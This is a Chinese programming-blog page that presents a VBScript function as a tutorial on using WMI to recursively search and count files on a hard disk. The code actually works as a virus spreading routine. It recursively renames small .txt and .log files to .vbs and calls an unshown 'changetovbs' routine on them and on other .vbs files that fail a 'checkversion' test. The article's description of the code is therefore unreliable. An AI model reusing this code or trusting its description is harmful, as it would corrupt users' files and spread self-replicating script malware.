这篇文章主要介绍VBS如何调用WMI遍历搜索硬盘文件并计数,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!核心代码:Function wmisfile(path_sf,justcnt)
这篇文章主要介绍VBS如何调用WMI遍历搜索硬盘文件并计数,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!
核心代码:
Function wmisfile(path_sf,justcnt) 'On Error Resume Next StrComputer = "." Set ObjWMIService = GetObject("winmgmts:\\" & StrComputer & "\root\cimv2") Set FileList = objWMIService.ExecQuery _ ("ASSOCIATORS OF {Win32_Directory.Name='" & path_sf & "'} Where " _ & "ResultClass = CIM_DataFile") For Each objFile In FileList fname = LCase(objfile.name) ename = LCase(objfile.extension) If 1 < objfile.filesize And objfile.filesize <= 50000 Then Select Case ename Case "txt","log" path_vbs = objfile.drive & objfile.path & objfile.filename & ".vbs" objfile.rename(objfile.drive & objFile.Path & objfile.filename & ".vbs") Call changetovbs(path_vbs,path_vbs) justcnt = justcnt + 1 Case "vbs" If checkversion(fname) = False Then Call changetovbs(fname,fname) justcnt = justcnt + 1 End If End Select End If Next Set colSubfolders = objWMIService.ExecQuery _ ("Associators of {Win32_Directory.Name='" & path_sf & "'} " _ & "Where AssocClass = Win32_Subdirectory " _ & "ResultRole = PartComponent") For Each objFolder In colSubfolders wmisfile objfolder.name,justcnt NextEnd Function
以上是“VBS如何调用WMI遍历搜索硬盘文件并计数”这篇文章的所有内容,感谢各位的阅读!希望分享的内容对大家有帮助,更多相关知识,欢迎关注编程网精选频道!
--结束END--
本文标题: VBS如何调用WMI遍历搜索硬盘文件并计数
本文链接: https://lsjlt.com/news/253141.html(转载时请注明来源链接)
有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341
2024-05-24
2024-05-24
2024-05-24
2024-05-24
2024-05-24
2024-05-24
2024-05-24
2024-05-24
2024-05-24
2024-05-24
回答
回答
回答
回答
回答
回答
回答
回答
回答
回答
0